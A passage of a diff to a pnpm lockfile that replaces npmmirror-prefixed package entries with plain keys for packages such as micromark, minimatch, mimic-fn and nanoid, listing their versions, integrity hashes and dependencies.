sha512-2J8rDNlQWbtiNYThZRvmMv5yt44ZakX+Tz5ZIp/mN1pt4snn+m030Va5Z4v8xA0cQFDXBwO/8i42xL4QPsVk3g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/khroma/-/khroma-2.0.0.tgz} - name: khroma - version: 2.0.0 + /micromark-util-character@1.2.0: + resolution: {integrity: sha512-lXraTwcX3yH/vMDaFWCQJP1uIszLVebzUa3ZHdrgxr7KEU/9mL4mVgCpGbyhvNLNlauROiNUq7WN5u7ndbY6xg==} + dependencies: + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 dev: true - registry.npmmirror.com/kind-of/6.0.3: - resolution: {integrity: sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/kind-of/-/kind-of-6.0.3.tgz} - name: kind-of - version: 6.0.3 - engines: {node: '>=0.10.0'} + /micromark-util-chunked@1.1.0: + resolution: {integrity: sha512-Ye01HXpkZPNcV6FiyoW2fGZDUw4Yc7vT0E9Sad83+bEDiCJ1uXu0S3mr8WLpsz3HaG3x2q0HM6CTuPdcZcluFQ==} + dependencies: + micromark-util-symbol: 1.1.0 dev: true - registry.npmmirror.com/layout-base/1.0.2: - resolution: {integrity: sha512-8h2oVEZNktL4BH2JCOI90iD1yXwL6iNW7KcCKT2QZgQJR2vbqDsldCTPRU9NifTCqHZci57XvQQ15YTu+sTYPg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/layout-base/-/layout-base-1.0.2.tgz} - name: layout-base - version: 1.0.2 + /micromark-util-classify-character@1.1.0: + resolution: {integrity: sha512-SL0wLxtKSnklKSUplok1WQFoGhUdWYKggKUiqhX+Swala+BtptGCu5iPRc+xvzJ4PXE/hwM3FNXsfEVgoZsWbw==} + dependencies: + micromark-util-character: 1.2.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 dev: true - registry.npmmirror.com/layout-base/2.0.1: - resolution: {integrity: sha512-dp3s92+uNI1hWIpPGH3jK2kxE2lMjdXdr+DH8ynZHpd6PUlH6x6cbuXnoMmiNumznqaNO31xu9e79F0uuZ0JFg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/layout-base/-/layout-base-2.0.1.tgz} - name: layout-base - version: 2.0.1 + /micromark-util-combine-extensions@1.1.0: + resolution: {integrity: sha512-Q20sp4mfNf9yEqDL50WwuWZHUrCO4fEyeDCnMGmG5Pr0Cz15Uo7KBs6jq+dq0EgX4DPwwrh9m0X+zPV1ypFvUA==} + dependencies: + micromark-util-chunked: 1.1.0 + micromark-util-types: 1.1.0 dev: true - registry.npmmirror.com/leven/3.1.0: - resolution: {integrity: sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/leven/-/leven-3.1.0.tgz} - name: leven - version: 3.1.0 - engines: {node: '>=6'} + /micromark-util-decode-numeric-character-reference@1.1.0: + resolution: {integrity: sha512-m9V0ExGv0jB1OT21mrWcuf4QhP46pH1KkfWy9ZEezqHKAxkj4mPCy3nIH1rkbdMlChLHX531eOrymlwyZIf2iw==} + dependencies: + micromark-util-symbol: 1.1.0 dev: true - registry.npmmirror.com/lilconfig/2.0.6: - resolution: {integrity: sha512-9JROoBW7pobfsx+Sq2JsASvCo6Pfo6WWoUW79HuB1BCoBXD4PLWJPqDF6fNj67pqBYTbAHkE57M1kS/+L1neOg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/lilconfig/-/lilconfig-2.0.6.tgz} - name: lilconfig - version: 2.0.6 - engines: {node: '>=10'} + /micromark-util-decode-string@1.1.0: + resolution: {integrity: sha512-YphLGCK8gM1tG1bd54azwyrQRjCFcmgj2S2GoJDNnh4vYtnL38JS8M4gpxzOPNyHdNEpheyWXCTnnTDY3N+NVQ==} + dependencies: + decode-named-character-reference: 1.0.2 + micromark-util-character: 1.2.0 + micromark-util-decode-numeric-character-reference: 1.1.0 + micromark-util-symbol: 1.1.0 dev: true - registry.npmmirror.com/lines-and-columns/1.2.4: - resolution: {integrity: sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/lines-and-columns/-/lines-and-columns-1.2.4.tgz} - name: lines-and-columns - version: 1.2.4 + /micromark-util-encode@1.1.0: + resolution: {integrity: sha512-EuEzTWSTAj9PA5GOAs992GzNh2dGQO52UvAbtSOMvXTxv3Criqb6IOzJUBCmEqrrXSblJIJBbFFv6zPxpreiJw==} dev: true - registry.npmmirror.com/linkify-it/4.0.1: - resolution: {integrity: sha512-C7bfi1UZmoj8+PQx22XyeXCuBlokoyWQL5pWSP+EI6nzRylyThouddufc2c1NDIcP9k5agmN9fLpA7VNJfIiqw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/linkify-it/-/linkify-it-4.0.1.tgz} - name: linkify-it - version: 4.0.1 - dependencies: - uc.micro: registry.npmmirror.com/uc.micro/1.0.6 + /micromark-util-html-tag-name@1.2.0: + resolution: {integrity: sha512-VTQzcuQgFUD7yYztuQFKXT49KghjtETQ+Wv/zUjGSGBioZnkA4P1XXZPT1FHeJA6RwRXSF47yvJ1tsJdoxwO+Q==} dev: true - registry.npmmirror.com/lit-element/3.2.0: - resolution: {integrity: sha512-HbE7yt2SnUtg5DCrWt028oaU4D5F4k/1cntAFHTkzY8ZIa8N0Wmu92PxSxucsQSOXlODFrICkQ5x/tEshKi13g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/lit-element/-/lit-element-3.2.0.tgz} - name: lit-element - version: 3.2.0 + /micromark-util-normalize-identifier@1.1.0: + resolution: {integrity: sha512-N+w5vhqrBihhjdpM8+5Xsxy71QWqGn7HYNUvch71iV2PM7+E3uWGox1Qp90loa1ephtCxG2ftRV/Conitc6P2Q==} dependencies: - '@lit/reactive-element': registry.npmmirror.com/@lit/reactive-element/1.4.2 - lit-html: registry.npmmirror.com/lit-html/2.4.0 + micromark-util-symbol: 1.1.0 dev: true - registry.npmmirror.com/lit-html/2.4.0: - resolution: {integrity: sha512-G6qXu4JNUpY6aaF2VMfaszhO9hlWw0hOTRFDmuMheg/nDYGB+2RztUSOyrzALAbr8Nh0Y7qjhYkReh3rPnplVg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/lit-html/-/lit-html-2.4.0.tgz} - name: lit-html - version: 2.4.0 + /micromark-util-resolve-all@1.1.0: + resolution: {integrity: sha512-b/G6BTMSg+bX+xVCshPTPyAu2tmA0E4X98NSR7eIbeC6ycCqCeE7wjfDIgzEbkzdEVJXRtOG4FbEm/uGbCRouA==} dependencies: - '@types/trusted-types': registry.npmmirror.com/@types/trusted-types/2.0.2 + micromark-util-types: 1.1.0 dev: true - registry.npmmirror.com/lit/2.4.1: - resolution: {integrity: sha512-qohSgLiyN1cFnJG26dIiY03S4F49857A0AHQfnS0zYtnUVnD2MFvx+UT52rtXsIuNFQrnUupX+zyGSATlk1f/A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/lit/-/lit-2.4.1.tgz} - name: lit - version: 2.4.1 + /micromark-util-sanitize-uri@1.2.0: + resolution: {integrity: sha512-QO4GXv0XZfWey4pYFndLUKEAktKkG5kZTdUNaTAkzbuJxn2tNBOr+QtxR2XpWaMhbImT2dPzyLrPXLlPhph34A==} dependencies: - '@lit/reactive-element': registry.npmmirror.com/@lit/reactive-element/1.4.2 - lit-element: registry.npmmirror.com/lit-element/3.2.0 - lit-html: registry.npmmirror.com/lit-html/2.4.0 + micromark-util-character: 1.2.0 + micromark-util-encode: 1.1.0 + micromark-util-symbol: 1.1.0 dev: true - registry.npmmirror.com/lodash.debounce/4.0.8: - resolution: {integrity: sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/lodash.debounce/-/lodash.debounce-4.0.8.tgz} - name: lodash.debounce - version: 4.0.8 + /micromark-util-subtokenize@1.1.0: + resolution: {integrity: sha512-kUQHyzRoxvZO2PuLzMt2P/dwVsTiivCK8icYTeR+3WgbuPqfHgPPy7nFKbeqRivBvn/3N3GBiNC+JRTMSxEC7A==} + dependencies: + micromark-util-chunked: 1.1.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + uvu: 0.5.6 dev: true - registry.npmmirror.com/lodash.sortby/4.7.0: - resolution: {integrity: sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/lodash.sortby/-/lodash.sortby-4.7.0.tgz} - name: lodash.sortby - version: 4.7.0 + /micromark-util-symbol@1.1.0: + resolution: {integrity: sha512-uEjpEYY6KMs1g7QfJ2eX1SQEV+ZT4rUD3UcF6l57acZvLNK7PBZL+ty82Z1qhK1/yXIY4bdx04FKMgR0g4IAag==} dev: true - registry.npmmirror.com/lodash/4.17.21: - resolution: {integrity: sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/lodash/-/lodash-4.17.21.tgz} - name: lodash - version: 4.17.21 + /micromark-util-types@1.1.0: + resolution: {integrity: sha512-ukRBgie8TIAcacscVHSiddHjO4k/q3pnedmzMQ4iwDcK0FtFCohKOlFbaOL/mPgfnPsL3C1ZyxJa4sbWrBl3jg==} dev: true - registry.npmmirror.com/log-symbols/5.1.0: - resolution: {integrity: sha512-l0x2DvrW294C9uDCoQe1VSU4gf529FkSZ6leBl4TiqZH/e+0R7hSfHQBNut2mNygDgHwvYHfFLn6Oxb3VWj2rA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/log-symbols/-/log-symbols-5.1.0.tgz} - name: log-symbols - version: 5.1.0 - engines: {node: '>=12'} + /micromark@3.2.0: + resolution: {integrity: sha512-uD66tJj54JLYq0De10AhWycZWGQNUvDI55xPgk2sQM5kn1JYlhbCMTtEeT27+vAhW2FBQxLlOmS3pmA7/2z4aA==} dependencies: - chalk: registry.npmmirror.com/chalk/5.1.2 - is-unicode-supported: registry.npmmirror.com/is-unicode-supported/1.3.0 + '@types/debug': 4.1.7 + debug: 4.3.4 + decode-named-character-reference: 1.0.2 + micromark-core-commonmark: 1.1.0 + micromark-factory-space: 1.1.0 + micromark-util-character: 1.2.0 + micromark-util-chunked: 1.1.0 + micromark-util-combine-extensions: 1.1.0 + micromark-util-decode-numeric-character-reference: 1.1.0 + micromark-util-encode: 1.1.0 + micromark-util-normalize-identifier: 1.1.0 + micromark-util-resolve-all: 1.1.0 + micromark-util-sanitize-uri: 1.2.0 + micromark-util-subtokenize: 1.1.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + uvu: 0.5.6 + transitivePeerDependencies: + - supports-color dev: true - registry.npmmirror.com/lru-cache/6.0.0: - resolution: {integrity: sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/lru-cache/-/lru-cache-6.0.0.tgz} - name: lru-cache - version: 6.0.0 - engines: {node: '>=10'} + /micromatch@4.0.5: + resolution: {integrity: sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==} + engines: {node: '>=8.6'} dependencies: - yallist: registry.npmmirror.com/yallist/4.0.0 + braces: 3.0.2 + picomatch: 2.3.1 dev: true - registry.npmmirror.com/magic-string/0.25.9: - resolution: {integrity: sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/magic-string/-/magic-string-0.25.9.tgz} - name: magic-string - version: 0.25.9 - dependencies: - sourcemap-codec: registry.npmmirror.com/sourcemap-codec/1.4.8 + /mimic-fn@1.2.0: + resolution: {integrity: sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ==} + engines: {node: '>=4'} dev: true - registry.npmmirror.com/markdown-it-anchor/8.6.5_ea7kj7wzjkld5jo2noyjqxi764: - resolution: {integrity: sha512-PI1qEHHkTNWT+X6Ip9w+paonfIQ+QZP9sCeMYi47oqhH+EsW8CrJ8J7CzV19QVOj6il8ATGbK2nTECj22ZHGvQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/markdown-it-anchor/-/markdown-it-anchor-8.6.5.tgz} - id: registry.npmmirror.com/markdown-it-anchor/8.6.5 - name: markdown-it-anchor - version: 8.6.5 - peerDependencies: - '@types/markdown-it': '*' - markdown-it: '*' - dependencies: - '@types/markdown-it': registry.npmmirror.com/@types/markdown-it/12.2.3 - markdown-it: registry.npmmirror.com/markdown-it/13.0.1 + /mimic-fn@2.1.0: + resolution: {integrity: sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==} + engines: {node: '>=6'} dev: true - registry.npmmirror.com/markdown-it-container/3.0.0: - resolution: {integrity: sha512-y6oKTq4BB9OQuY/KLfk/O3ysFhB3IMYoIWhGJEidXt1NQFocFK2sA2t0NYZAMyMShAGL6x5OPIbrmXPIqaN9rw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/markdown-it-container/-/markdown-it-container-3.0.0.tgz} - name: markdown-it-container - version: 3.0.0 + /mimic-fn@4.0.0: + resolution: {integrity: sha512-vqiC06CuhBTUdZH+RYl8sFrL096vA45Ok5ISO6sE/Mr1jRbGH4Csnhi8f3wKVl7x8mO4Au7Ir9D3Oyv1VYMFJw==} + engines: {node: '>=12'} dev: true - registry.npmmirror.com/markdown-it-emoji/2.0.2: - resolution: {integrity: sha512-zLftSaNrKuYl0kR5zm4gxXjHaOI3FAOEaloKmRA5hijmJZvSjmxcokOLlzycb/HXlUFWzXqpIEoyEMCE4i9MvQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/markdown-it-emoji/-/markdown-it-emoji-2.0.2.tgz} - name: markdown-it-emoji - version: 2.0.2 + /min-indent@1.0.1: + resolution: {integrity: sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==} + engines: {node: '>=4'} dev: true - registry.npmmirror.com/markdown-it/13.0.1: - resolution: {integrity: sha512-lTlxriVoy2criHP0JKRhO2VDG9c2ypWCsT237eDiLqi09rmbKoUetyGHq2uOIRoRS//kfoJckS0eUzzkDR+k2Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/markdown-it/-/markdown-it-13.0.1.tgz} - name: markdown-it - version: 13.0.1 - hasBin: true + /minimatch@3.1.2: + resolution: {integrity: sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==} dependencies: - argparse: registry.npmmirror.com/argparse/2.0.1 - entities: registry.npmmirror.com/entities/3.0.1 - linkify-it: registry.npmmirror.com/linkify-it/4.0.1 - mdurl: registry.npmmirror.com/mdurl/1.0.1 - uc.micro: registry.npmmirror.com/uc.micro/1.0.6 + brace-expansion: 1.1.11 dev: true - registry.npmmirror.com/marked/4.2.2: - resolution: {integrity: sha512-JjBTFTAvuTgANXx82a5vzK9JLSMoV6V3LBVn4Uhdso6t7vXrGx7g1Cd2r6NYSsxrYbQGFCMqBDhFHyK5q2UvcQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/marked/-/marked-4.2.2.tgz} - name: marked - version: 4.2.2 - engines: {node: '>= 12'} - hasBin: true + /minimatch@5.0.1: + resolution: {integrity: sha512-nLDxIFRyhDblz3qMuq+SoRZED4+miJ/G+tdDrjkkkRnjAsBexeGpgjLEQ0blJy7rHhR2b93rhQY4SvyWu9v03g==} + engines: {node: '>=10'} + dependencies: + brace-expansion: 2.0.1 dev: true - registry.npmmirror.com/mathjax-full/3.2.2: - resolution: {integrity: sha512-+LfG9Fik+OuI8SLwsiR02IVdjcnRCy5MufYLi0C3TdMT56L/pjB0alMVGgoWJF8pN9Rc7FESycZB9BMNWIid5w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/mathjax-full/-/mathjax-full-3.2.2.tgz} - name: mathjax-full - version: 3.2.2 + /minimist-options@4.1.0: + resolution: {integrity: sha512-Q4r8ghd80yhO/0j1O3B2BjweX3fiHg9cdOwjJd2J76Q135c+NDxGCqdYKQ1SKBuFfgWbAUzBfvYjPUEeNgqN1A==} + engines: {node: '>= 6'} dependencies: - esm: registry.npmmirror.com/esm/3.2.25 - mhchemparser: registry.npmmirror.com/mhchemparser/4.1.1 - mj-context-menu: registry.npmmirror.com/mj-context-menu/0.6.1 - speech-rule-engine: registry.npmmirror.com/speech-rule-engine/4.0.7 + arrify: 1.0.1 + is-plain-obj: 1.1.0 + kind-of: 6.0.3 dev: true - registry.npmmirror.com/mdurl/1.0.1: - resolution: {integrity: sha512-/sKlQJCBYVY9Ers9hqzKou4H6V5UWc/M59TH2dvkt+84itfnq7uFOMLpOiOS4ujvHP4etln18fmIxA5R5fll0g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/mdurl/-/mdurl-1.0.1.tgz} - name: mdurl - version: 1.0.1 + /minimist@1.2.5: + resolution: {integrity: sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==} dev: true - registry.npmmirror.com/medium-zoom/1.0.6: - resolution: {integrity: sha512-UdiUWfvz9fZMg1pzf4dcuqA0W079o0mpqbTnOz5ip4VGYX96QjmbM+OgOU/0uOzAytxC0Ny4z+VcYQnhdifimg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/medium-zoom/-/medium-zoom-1.0.6.tgz} - name: medium-zoom - version: 1.0.6 + /mitt@3.0.1: + resolution: {integrity: sha512-vKivATfr97l2/QBCYAkXYDbrIWPM2IIKEl7YPhjCvKlG3kE2gm+uBo6nEXK3M5/Ffh/FLpKExzOQ3JJoJGFKBw==} dev: true - registry.npmmirror.com/mensch/0.3.4: - resolution: {integrity: sha512-IAeFvcOnV9V0Yk+bFhYR07O3yNina9ANIN5MoXBKYJ/RLYPurd2d0yw14MDhpr9/momp0WofT1bPUh3hkzdi/g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/mensch/-/mensch-0.3.4.tgz} - name: mensch - version: 0.3.4 + /mj-context-menu@0.6.1: + resolution: {integrity: sha512-7NO5s6n10TIV96d4g2uDpG7ZDpIhMh0QNfGdJw/W47JswFcosz457wqz/b5sAKvl12sxINGFCn80NZHKwxQEXA==} dev: true - registry.npmmirror.com/merge-stream/2.0.0: - resolution: {integrity: sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/merge-stream/-/merge-stream-2.0.0.tgz} - name: merge-stream - version: 2.0.0 + /mpegts.js@1.7.3: + resolution: {integrity: sha512-kqZ1C1IsbAQN72cK8vMrzKeM7hwrwSBbFAwVAc7PPweOeoZxCANrc7fAVDKMfYUzxdNkMTnec9tVmlxmKZB0TQ==} + dependencies: + es6-promise: 4.2.8 + webworkify-webpack: 2.1.5 dev: true - registry.npmmirror.com/merge2/1.4.1: - resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/merge2/-/merge2-1.4.1.tgz} - name: merge2 - version: 1.4.1 - engines: {node: '>= 8'} + /mri@1.2.0: + resolution: {integrity: sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==} + engines: {node: '>=4'} dev: true - registry.npmmirror.com/mermaid/9.2.2: - resolution: {integrity: sha512-6s7eKMqFJGS+0MYjmx8f6ZigqKBJVoSx5ql2gw6a4Aa+WJ49QiEJg7gPwywaBg3DZMs79UP7trESp4+jmaQccw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/mermaid/-/mermaid-9.2.2.tgz} - name: mermaid - version: 9.2.2 - dependencies: - '@braintree/sanitize-url': registry.npmmirror.com/@braintree/sanitize-url/6.0.0 - d3: registry.npmmirror.com/d3/7.4.4 - dagre: registry.npmmirror.com/dagre/0.8.5 - dagre-d3: registry.npmmirror.com/dagre-d3/0.6.4 - dompurify: registry.npmmirror.com/dompurify/2.4.0 - fast-clone: registry.npmmirror.com/fast-clone/1.5.13 - graphlib: registry.npmmirror.com/graphlib/2.1.8 - khroma: registry.npmmirror.com/khroma/2.0.0 - lodash: registry.npmmirror.com/lodash/4.17.21 - moment-mini: registry.npmmirror.com/moment-mini/2.24.0 - non-layered-tidy-tree-layout: registry.npmmirror.com/non-layered-tidy-tree-layout/2.0.2 - stylis: registry.npmmirror.com/stylis/4.1.3 - uuid: registry.npmmirror.com/uuid/9.0.0 - dev: true - - registry.npmmirror.com/mhchemparser/4.1.1: - resolution: {integrity: sha512-R75CUN6O6e1t8bgailrF1qPq+HhVeFTM3XQ0uzI+mXTybmphy3b6h4NbLOYhemViQ3lUs+6CKRkC3Ws1TlYREA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/mhchemparser/-/mhchemparser-4.1.1.tgz} - name: mhchemparser - version: 4.1.1 - dev: true - - registry.npmmirror.com/micromatch/4.0.5: - resolution: {integrity: sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/micromatch/-/micromatch-4.0.5.tgz} - name: micromatch - version: 4.0.5 - engines: {node: '>=8.6'} - dependencies: - braces: registry.npmmirror.com/braces/3.0.2 - picomatch: registry.npmmirror.com/picomatch/2.3.1 + /ms@2.1.2: + resolution: {integrity: sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==} dev: true - registry.npmmirror.com/mime/2.6.0: - resolution: {integrity: sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/mime/-/mime-2.6.0.tgz} - name: mime - version: 2.6.0 - engines: {node: '>=4.0.0'} - hasBin: true + /mute-stream@0.0.7: + resolution: {integrity: sha512-r65nCZhrbXXb6dXOACihYApHw2Q6pV0M3V0PSxd74N0+D8nzAdEAITq2oAjA1jVnKI+tGvEBUpqiMh0+rW6zDQ==} dev: true - registry.npmmirror.com/mimic-fn/1.2.0: - resolution: {integrity: sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/mimic-fn/-/mimic-fn-1.2.0.tgz} - name: mimic-fn - version: 1.2.0 - engines: {node: '>=4'} + /nanoid@3.3.6: + resolution: {integrity: sha512-BGcqMMJuToF7i1rt+2PWSNVnWIkGCU78jBG3RxO/bZlnZPK2Cmi2QaffxGO/2RvWi9sL+FAiRiXMgsyxQ1DIDA==} + engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} + hasBin: true dev: true - registry.npmmirror.com/mimic-fn/2.1.0: - resolution: {integrity: sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/mimic-fn/-/mimic-fn-2.1.0.tgz} - name: mimic-fn - version: 2.1.0 - engines: {node: '>=6'} + /node-releases@2.0.13: + resolution: {integrity: sha512-uYr7J37ae/ORWdZeQ1xxMJe3NtdmqMC/JZK+geofDrkLUApKRHPd18/TxtBOJ4A0/+uUIliorNrfYV6s1b02eQ==} dev: true - registry.npmmirror.com/mimic-fn/4.0.0: - resolution: {integrity: sha512-vqiC06CuhBTUdZH+RYl8sFrL096vA45Ok5ISO6sE/Mr1jRbGH4Csnhi8f3wKVl7x8mO4Au7Ir9D3Oyv1VYMFJw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/mimic-fn/-/mimic-fn-4.0.0.tgz} - name: mimic-fn - version: 4.0.0 - engines: {node: '>=12'} + /non-layered-tidy-tree-layout@2.0.2: + resolution: {integrity: sha512-gkXMxRzUH+PB0ax9dUN0yYF0S25BqeAYqhgMaLUFmpXLEk7Fcu8f4emJuOAY0V8kjDICxROIKsTAKsV/v355xw==} dev: true - registry.npmmirror.com/minimatch/3.1.2: - resolution: {integrity: sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/minimatch/-/minimatch-3.1.2.tgz} - name: minimatch - version: 3.1.2 + /normalize-package-data@2.5.0: + resolution: {integrity: sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==} dependencies: - brace-expansion: registry.npmmirror.com/brace-expansion/1.1.11 + hosted-git-info: 2.8.9 + resolve: 1.22.1 + semver: 5.7.1 + validate-npm-package-license: 3.0.4 dev: true - registry.npmmirror.com/minimatch/5.0.1: - resolution: {integrity: sha512-nLDxIFRyhDblz3qMuq+SoRZED4+miJ/G+tdDrjkkkRnjAsBexeGpgjLEQ0blJy7rHhR2b93rhQY4SvyWu9v03g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/minimatch/-/minimatch-5.0.1.tgz} - name: minimatch - version: 5.0.1 + /normalize-package-data@3.0.3: + resolution: {integrity: sha512-p2W1sgqij3zMMyRC067Dg16bfzVH+w7hyegmpIvZ4JNjqtGOVAIvLmjBx3yP7YTe9vKJgkoNOPjwQGogDoMXFA==} engines: {node: '>=10'} dependencies: - brace-expansion: registry.npmmirror.com/brace-expansion/2.0.1 + hosted-git-info: 4.1.0 + is-core-module: 2.9.0 + semver: 7.3.8 + validate-npm-package-license: 3.0.4 dev: true - registry.npmmirror.com/mitt/3.0.0: - resolution: {integrity: sha512-7dX2/10ITVyqh4aOSVI9gdape+t9l2/8QxHrFmUXu4EEUpdlxl6RudZUPZoc+zuY2hk1j7XxVroIVIan/pD/SQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/mitt/-/mitt-3.0.0.tgz} - name: mitt - version: 3.0.0 + /normalize-path@3.0.0: + resolution: {integrity: sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==} + engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/mj-context-menu/0.6.1: - resolution: {integrity: sha512-7NO5s6n10TIV96d4g2uDpG7ZDpIhMh0QNfGdJw/W47JswFcosz457wqz/b5sAKvl12sxINGFCn80NZHKwxQEXA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/mj-context-menu/-/mj-context-menu-0.6.1.tgz} - name: mj-context-menu - version: 0.6.1 + /normalize-range@0.1.2: + resolution: {integrity: sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==} + engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/moment-mini/2.24.0: - resolution: {integrity: sha512-9ARkWHBs+6YJIvrIp0Ik5tyTTtP9PoV0Ssu2Ocq5y9v8+NOOpWiRshAp8c4rZVWTOe+157on/5G+zj5pwIQFEQ==, registry: https://registry.npm.taobao.org/, tarball: 